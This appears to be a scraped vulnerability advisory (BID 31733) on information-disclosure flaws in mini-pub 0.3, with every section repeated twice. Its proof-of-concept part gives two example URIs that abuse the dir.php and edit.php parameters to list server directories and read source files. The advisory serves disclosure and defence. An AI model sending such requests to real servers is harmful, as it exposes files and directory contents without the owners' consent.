mini-pub Multiple Information Disclosure Vulnerabilities
BID:31733
Info
mini-pub Multiple Information Disclosure Vulnerabilities
| Bugtraq ID: | 31733 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-5936 CVE-2008-5883 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 12 2008 12:00AM |
| Updated: | Jul 06 2016 02:18PM |
| Credit: | Gold_M, muuratsalo |
| Vulnerable: |
mini-pub mini-pub 0.3 |
| Not Vulnerable: | |
Discussion
mini-pub Multiple Information Disclosure Vulnerabilities
mini-pub is prone to multiple information-disclosure vulnerabilities.
An unprivileged attacker may exploit these issues to obtain sensitive information that may aid in launching further attacks.
mini-pub 0.3 and prior versions are vulnerable.
mini-pub is prone to multiple information-disclosure vulnerabilities.
An unprivileged attacker may exploit these issues to obtain sensitive information that may aid in launching further attacks.
mini-pub 0.3 and prior versions are vulnerable.
Exploit / POC
mini-pub Multiple Information Disclosure Vulnerabilities
Attackers can likely exploit these issues via a web browser.
The following example URIs are available:
http://www.example.com/mini-pub.php-0.3/front-end/dir.php?sDir=C:\AppServ\MySQL
http://www.example.com/mini-pub.php-0.3/front-end/edit.php?sFileName=edit.php
Attackers can likely exploit these issues via a web browser.
The following example URIs are available:
http://www.example.com/mini-pub.php-0.3/front-end/dir.php?sDir=C:\AppServ\MySQL
http://www.example.com/mini-pub.php-0.3/front-end/edit.php?sFileName=edit.php
Solution / Fix
mini-pub Multiple Information Disclosure Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].